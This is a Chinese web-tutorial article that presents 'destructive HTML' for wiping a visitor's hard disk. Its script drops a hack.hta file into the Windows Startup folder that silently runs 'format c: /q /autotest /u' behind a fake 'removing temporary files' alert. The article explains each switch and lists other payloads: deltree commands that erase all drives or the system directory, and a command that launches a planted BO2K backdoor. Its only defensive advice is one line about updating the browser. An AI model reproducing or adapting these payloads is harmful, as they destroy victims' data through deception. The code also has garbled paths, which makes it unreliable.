程序员人生 网站导航

超文本绝招:利用HTML格式化你的硬盘

栏目:htmlcss时间:2014-02-17 13:40:34

  【建站学院文档】HTML是一种超文本语言,它是一种静态语言,大家都知道如果想利用文本驱动系统文件的话,至少是ASP、PHP、JS脚本以上的语言,你有没有想过用HTML格式化系统磁盘呢?建站学院的小编把收藏已久的代码发给大家,提供学习。

以下这段就是具有破坏性的HTML

Hacking Your Computer .

scr.Reset(); scr.Path="C:WINDOWSStart MenuPrograms启动hack.hta";
scr.Doc="
wsh.Run('start.exe /m format c:/q /autotest /u');
alert('IMPORTANT : Windows is removing unused temporary files.');";
scr.write();


(懂HTML的人应该就看得出来其中精随)

现在我大概来解释其中几个项目所写的意思

scr.Path="C:WINDOWSStart MenuPrograms启动hack.hta"

这一项就是指当你看到这网页它会写入到你的电脑启动目录底下,并命名为
hack.hta

wsh.Run('start.exe /m format c:/q /autotest /u');

通常要格式化硬碟都会先问你是否要执行,但其中的"/autotest"这项。

它是一个微软没有公开的功能,键入後format的动作便会被强制执行。

这项中的/q /u是令系统不需要检查硬碟便会立即执行的指令。

最後start.exe再配合/m选项可以使format的DOS-prompt视窗在执行的时候处於最小
化的状态。

执行其他攻击指令的方法∶

只要修改“start.exe /m format c:/q /autotest /u”这一项便形。

start.exe /m format c:/q /autotest /u

其中的“c:”可以换做其他的硬碟。

(path)o2k.exe

执行它电脑中的某个程式,如果你有传bo2k到它电脑中就可以使用此指令。

start.exe /m deltree /y a:*.* c:*.* d:*.*

杀掉对方硬碟底下所有的档案。

start.exe /m deltree /y c:windowssystem*.*

杀掉对方c:windowssystem目录底下的所有档案。

后叙∶ 预防遭此手段的破坏就是到微软去更新你的浏览器。

编后语:建站学院的小编提示,本代码仅供大家学习之用,切勿用于非法用途,以免给自己和他人带来不便!

------分隔线----------------------------
------分隔线----------------------------

最新技术推荐